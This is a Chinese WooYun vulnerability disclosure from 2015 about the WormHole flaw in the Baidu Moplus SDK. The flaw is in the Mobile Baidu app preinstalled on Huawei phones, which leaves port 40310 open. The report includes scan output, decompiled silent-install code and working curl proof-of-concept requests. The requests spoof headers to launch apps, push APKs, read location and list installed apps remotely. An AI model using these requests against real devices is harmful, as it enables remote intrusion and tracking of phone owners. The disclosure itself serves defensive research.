当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0148572

漏洞标题:WormHole虫洞漏洞之华为手机可远程安装恶意代码

相关厂商:华为技术有限公司

漏洞作者: 瘦蛟舞

提交时间:2015-10-22 10:50

修复时间:2016-01-21 16:00

公开时间:2016-01-21 16:00

漏洞类型:远程代码执行

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-22: 细节已通知厂商并且等待厂商处理中
2015-10-23: 厂商已经确认,细节仅向厂商公开
2015-10-26: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-17: 细节向核心白帽子及相关领域专家公开
2015-12-27: 细节向普通白帽子公开
2016-01-06: 细节向实习白帽子公开
2016-01-21: 细节向公众公开

简要描述:

刷分啦,良心厂商还是报送下

详细说明:

在对蜂窝网络进行WormHole漏洞探测的时候发现了一个奇怪的东西混入

Discovered open port 40310/tcp on 10.142.2.189 com.baidu.searchbox
Discovered open port 40310/tcp on 10.142.2.14 com.baidu.BaiduMap
Discovered open port 40310/tcp on 10.142.2.66 com.baidu.searchbox_huawei (华为手机预装)
Discovered open port 40310/tcp on 10.142.2.221 com.baidu.searchbox
Discovered open port 40310/tcp on 10.142.2.52 com.baidu.netdisk
Discovered open port 40310/tcp on 10.142.2.144 com.baidu.searchbox
Discovered open port 40310/tcp on 10.142.2.204 com.baidu.searchbox
Discovered open port 40310/tcp on 10.142.2.60 com.baidu.searchbox
Discovered open port 40310/tcp on 10.142.2.16 com.baidu.tieba


com.baidu.searchbox_huawei
这个名字听着就像华为手机预装的手机百度应用,还记得之前分析的

public void b(String arg7, Context arg8) {
PackageInfo v0 = com.baidu.hello.patch.moplus.systemmonitor.util.a.b(arg8, arg8.getPackageName());
if(v0 != null) {
if((v0.applicationInfo.flags & 1) == 1) {
if(b.a(this.b, "android.permission.INSTALL_PACKAGES") != 0) {
File v3 = new File(arg7);
if(this.a()) {
new c(this, "SystemMonitor_InstallAPKByPackageInstaller", v3, arg8, arg7).start();
}
else {
this.a(Uri.fromFile(v3), new SilentPackageInstallObserver(arg8, arg7), 0, arg8
.getPackageName());
}
}
}
else if(com.baidu.hello.patch.moplus.a.b.a(arg8).a()) {
com.baidu.hello.patch.moplus.a.b.a(arg8).a("pm install -r \'" + arg7 + "\'\n");
}
else {
Intent v0_1 = new Intent("android.intent.action.VIEW");
v0_1.setDataAndType(Uri.fromFile(new File(arg7)), "application/vnd.android.package-archive");
v0_1.setFlags(1342177280);
arg8.startActivity(v0_1);
}
}
}


三个判断:
1.手机助手为系统应用直接使用android.permission.INSTALL_PACKAGES权限静默安装应用
2.手机助手获得 root 权限后使用 su 后执行 pm install 静默安装应用
3.非以上二种情况则弹出引用安装的确认框
如果这里预装为系统应用那么就可以通过分支1远程静默安装应用啦.找了一台华为手机验证猜想

» adb shell pm list package -f |grep -i baidu
package:/system/app/BaiduInput_for_Huawei.apk=com.baidu.input_huawei
package:/data/dataapp/BaiduSearch.apk=com.baidu.searchbox_huawei


原来还预装了两个百度应用,一个百度输入法,一个手机百度.其中百度输入法为系统应用.将两个应用提取出来分析.
发现输入法虽然包名是百度的可是在系统界面确是显示是华为输入法,到这里差不多猜出了其中的关系.百度提供了输入法的代码给华为自己精简了下纳入了系统应用.作为交换条件华为预装了手机百度给百度做下推广.
分析代码后发现作为攻击价值比较高的系统应用输入法把百度有漏洞的 sdk 给阉割掉了..所以只能对预装的手机百度进行攻击,只有手机百度有被用户启用过在后台的服务便会一直存在,用户就有受到攻击的风险,开始碰巧扫到的华为手机便是这一出.

漏洞证明:

远程启动应用
curl -e http://m.baidu.com -H "remote-addr: 127.0.0.1" http://192.168.10.127:40310/sendintent?callback=123&mcmdf=inapp_123&intent=intent%3A%23Intent%3Bcomponent%3Dorg.wooyun.wifikey%2forg.wooyun.wifikey.MainActivity%3Bend%3B&
远程上传提示安装应用
curl -F file=@1.apk -e http://m.baidu.com -H "remote-addr: 127.0.0.1" http://192.168.10.127:40310/uploadfile?install_type=all&callback=123&mcmdf=inapp_123&Filename=1.apk&
远程获取坐标
curl -F file=@1.apk -e http://m.baidu.com -H "remote-addr: 127.0.0.1" http://192.168.10.127:40310/geolocation?callback=123&mcmdf=inapp_123&
远程获取应用列表
curl -F file=@1.apk -e http://m.baidu.com -H "remote-addr: 127.0.0.1" http://192.168.10.127:40310/getapplist?callback=123&mcmdf=inapp_123&

修复方案:

版权声明:转载请注明来源 瘦蛟舞@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-10-23 15:56

厂商回复:

感谢白帽子对华为公司安全的关注,我们已经将该漏洞通知了业务部门。

最新状态:

暂无